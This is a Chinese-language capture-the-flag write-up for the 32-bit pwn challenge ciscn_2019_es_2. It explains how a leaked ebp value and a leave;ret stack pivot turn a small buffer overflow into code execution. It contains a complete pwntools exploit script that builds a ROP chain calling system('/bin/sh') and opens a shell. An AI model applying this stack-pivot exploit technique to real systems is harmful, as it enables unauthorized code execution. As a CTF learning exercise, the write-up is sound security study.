还是栈不可执行,32位程序
漏洞这里挺明显的,s这个地方可以溢出,但是这里就又有问题了,read可以读入0x30字节数据而s到ebp的距离却只有0x28所以我们能填充的大小只有8字节,就是只能覆盖ebp和ret addr ,所以我们的rop链不能构造太长,所以这道题目需要我们栈迁移。
下面还有个printf 打印出s的值,所以我们可以知道ebp里的内容,而ebp的内容是上个函数的ebp所以这样我们通过泄露这个就可以知道s在栈上的位置,那我们栈迁移就别迁移bss段了直接去s的位置好了。
栈迁移的知识就是伪造ebp ,是通过leave和ret来完成的。
leave = mov esp ebp + pop ebp
ret = pop eip
from LibcSearcher import LibcSearcher
from pwn import *
context.log_level = 'debug'
io = process("./ciscn_2019_es_2")
#io = remote("node4.buuoj.cn",28269)
elf = ELF("./ciscn_2019_es_2")
system_plt = elf.plt['system']
leave_ret_addr = 0x08048562
payload = 'a'*0x24+'bbb' #把ebp前填充完,printf碰到\x00就会停止,为什么3个b,sendline的原因,改send四个也行
io.recvuntil('name?\n')
io.sendline(payload)
io.recvline("bbb")
ebp_addr = u32(io.recv(4))
s_addr = ebp_addr-0x38
log.success('s_addr ==>'+hex(s_addr))
bin_sh_addr = s_addr+4*4
payload1 = b'aaaa' + p32(system_plt) +b'aaaa' +p32(bin_sh_addr) +b"/bin/sh\x00"
payload1 = payload1.ljust(0x28,b"b")#让payload 0x28个
payload1 += p32(s_addr)+p32(leave_ret_addr)
io.sendline(payload1)
io.interactive()
这种题目嘛,就是对基础很有考察,我基础感觉做下来还是有很多问题的。
刷题确实帮助还是很大的。